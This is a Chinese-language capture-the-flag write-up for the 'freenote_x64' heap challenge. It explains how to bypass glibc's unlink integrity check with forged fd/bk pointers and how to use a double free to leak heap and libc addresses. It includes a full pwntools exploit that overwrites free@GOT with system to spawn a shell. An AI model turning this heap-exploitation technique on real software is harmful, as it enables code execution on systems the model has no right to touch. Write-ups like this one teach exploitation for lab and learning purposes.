当free掉两块不相邻的chunk时(且第二次free的chunk不能为最后一块,以避免被合并),第一次free的bk指针指向第二次free的地址,这样就可以在bins的链表中找到chunk_1和chunk_2的地址(大于0x80的构成unsortedbins双向链表)表示他们已经被系统所回收,当我们再次申请时,便可以利用只填入0x8字节的数据来带出bk的地址。进而通过减去距离堆地址的偏移来算出堆地址。
所以这里直接泄露出下一块要申请的bins的地址来泄露出libc的地址 也就是0x1c8b940-0x1940
=0x1c8a000
而后利用第二次free的地址的bk指针泄露出main_arena+88的地址,进而泄露libc地址
unlink的目的就是把一个双向链表中的空闲块拿出来。而在进行这个操作时会对要被unlink的chunk进行一个检查,可以称之为双链表完整性检查,关键源代码如下
FD = P -> fd;
BK = P -> bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
上面的意思也就是在unlink前,首先要获取P的fd指针和bk指针分别记作FD、BK,在unlink时需要使要被free的chunk(P)
的前一个chunk(FD)
的bk指针和这个chunk的后chunk(BK)
的fd指针指向这个即将free的chunk(P)
才可以执行。
面对这个检查,我们只需要将P->fd 置为P-0x18
、P->bk = P-0x10
即可
因为一个双链表结构的chunk 从开始位置的prev_size
到fd指针和bk指针
的距离分别是0x10
和0x18
,而我们可以在chunk中伪造一个被free的chunk,使其P->fd = P-0x18
、P->bk = P-0x10
,之后当进行unlink操作时,当到源码
FD = P -> fd;
BK = P -> bk;
这一步骤时,便将我们伪造的fd和bk给传进了FD和BK之中,最后在
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
进行校验的时候,FD->bk 就等于 P-0x10 -> bk
,而P-0x10
的bk也就等于P的地址,BK->fd同理,从而通过校验。
上面过程完成后,再看此时的堆空间,原本的BK->fd将会覆盖掉P的起始位置,然后再来看源代码中的这一段
FD->fd = BK;
BK->bk = FD;
这一操作将直接导致P的位置将指向FD这个地址,而FD的地址是什么,是P-0x18
,这将意味着chunk0将指向P-0x18,所以到这里便可以直接利用程序中的增删改查功能对这以后的数据进行修改。
使用IDA打开分析反汇编代码
可以看到首先是在程序的开始处先分配了一个0x1810
大小的空间,用来存放后面的note索引
其次在new函数中,note内容的大小是0x80的倍数,不足0x80的按0x80对齐。
Sub_40085D
中也就是read时由于没有在末尾追加"\x00"
所以这里可以用来泄露一些地址
其次就是存储note的结构体,可以结合动态调试查看heap内存储的note结构体信息,大致为
有效位(表示是否被分配)
|长度
|索引地址
再看delete函数
首先是第12、13行处,对其进行清零,但没有先对其进行检查,这就导致Double Free漏洞,从而可以多次free某个堆块
chunk_1
和chunk_3
在我们free掉第一个堆块时,由于这个堆块是0x80大小故不符合fastbin的标准,所以将被放在unsortedbins中,而此时被free的chunk_1的fd和bk指针则是main_arena+88
的地址但这只是第一次free,且仅泄露出了marin_arena的地址,所以我们继续下一次的free
可以看到由于双向链表的原因,两块bins的fd和bk都互相指向对方,且都有一个main_arena的地址,这时候我们只要再次申请堆块,并覆盖掉红框内的数据,之后通过打印功能便能直接输出堆块的地址和main_arena的地址
不过需要注意此时泄露出的堆块地址是chunk_2的地址距离堆的起始地址还有一段固定的偏移,计算一下就能得出
此时由于chunk_1被free掉的原因,我们则可以通过扩充chunk_0来依次带出这两个地址
chunk0
和chunk1
(这里要注意整体的大小及伪造的chunk大小)删除chunk_1,触发unlink使chunk_0脱链,使得chunk_0的内容落在&(chunk_0-0x18)的位置
修改此时的chunk_0,将chunk_1的地址指向free的got表地址,并留出chunk_2用来存放”/bin/sh”(同样要注意整体的payload大小在0x100)
修改chunk_1将此时free_got表地址的指向system
修改chunk_2将内容设置为”/bin/sh”
删除chunk_2触发system("/bin/sh")
#coding:utf-8
from pwn import *
import os
from one_gadget import generate_one_gadget
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal = ['tmux', 'splitw',"-h"]
context.log_level = "debug"
sh = process("./freenote_x64")
elf = ELF("./freenote_x64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def show():
sh.recvuntil("Your choice: ")
sh.sendline("1")
def add(size,note):
sh.recvuntil("Your choice: ")
sh.sendline("2")
sh.recvuntil("Length of new note: ")
sh.sendline(str(size))
sh.recvuntil("Enter your note: ")
sh.send(note)
def edit(idx,size,note):
sh.recvuntil("Your choice: ")
sh.sendline("3")
sh.recvuntil("Note number: ")
sh.sendline(idx)
sh.recvuntil("Length of note: ")
sh.sendline(str(size))
sh.recvuntil("Enter your note: ")
sh.send(note)
def remove(idx):
sh.recvuntil("Your choice: ")
sh.sendline("4")
sh.recvuntil("Note number: ")
sh.sendline(idx)
add(8,"a"*0x8)
add(8,"b"*0x8)
add(8,"c"*0x8)
add(8,"d"*0x8)
add(8,"e"*0x8)
#由于程序中小于0x80的将自动对齐至0x80大小,所以这里0x8即可
### leak addr
remove("3")
# gdb.attach(sh)
remove("1")
edit("0",0x90,"f"*(0x80+0x10))
# 修改chunk_0,使之内容覆盖至chunk_0+0x90的位置来泄露heap的地址
show()
sh.recvuntil("f"*0x90)
heap = u32(sh.recv(4).ljust(4,"\x00")) - 0x19d0 #0x19d0 chunk_3距离heap的偏移
#gdb.attach(sh)
edit("0",0x98,"g"*(0x80+0x18))
show()
sh.recvuntil("g"*0x98)
main_arena88 = u64(sh.recv(6).ljust(8,"\x00"))
libc_base = main_arena88 - 0x3c4b78 #0x3c4b78 距离libc的偏移
log.progress("Leak Addr...")
free_got = elf.got['free']
system_addr = libc.sym['system']+libc_base
success("system_addr => 0x%x",system_addr)
success("free_got => 0x%x",free_got)
success("heap_addr => 0x%x",heap)
success("main_arena88 => 0x%x",main_arena88)
success("libc_base => 0x%x",libc_base)
### Unlink
#因为chunk_1被free掉且未将内容清空的原因
#所以导致当前chunk_0的大小为0x120
# gdb.attach(sh)
payload = p64(0)+p64(0x80) # 伪造chunk 0
payload += p64(heap + 0x30 - 0x18)+p64(heap + 0x30 - 0x10)
# 为了通过unlink检查,伪造fd bk
payload += cyclic(0x60)
payload += p64(0x80)+p64(0x90) # 伪造chunk 1
#大小必须要在0x90,因为要前后对应
payload += cyclic(0x70)
edit("0",0x100,payload)
remove("1")
#此时的chunk_0 将指向(heap + 0x30 - 0x18)的位置
### 劫持got表
payload2 = p64(3)
payload2 += p64(1)+p64(0x80)
payload2 += p64(heap+0x30)+p64(1) # chunk 0 => heap+0x30
payload2 += p64(8)+p64(free_got) # chunk 1 => free_got
payload2 += p64(1)+p64(8)
payload2 += p64(heap+0x90)+"a"*0xb0 # chunk 2 => heap+0x30 => "/bin/sh\x00"
edit("0",0x100,payload2)
edit("1",0x8,p64(system_addr))
edit("2",0x8,"/bin/sh\x00")
remove("2")
sh.interactive()
学习参考
https://blog.csdn.net/Breeze_CAT/article/details/100427158 https://zhuanlan.zhihu.com/p/163690431 https://cloud.tencent.com/developer/article/1557872 https://www.cnblogs.com/0xJDchen/p/6195919.html https://blog.csdn.net/sinat_29447759/article/details/79304236 https://blog.csdn.net/seaaseesa/article/details/105589526 https://bbs.pediy.com/thread-226287.htm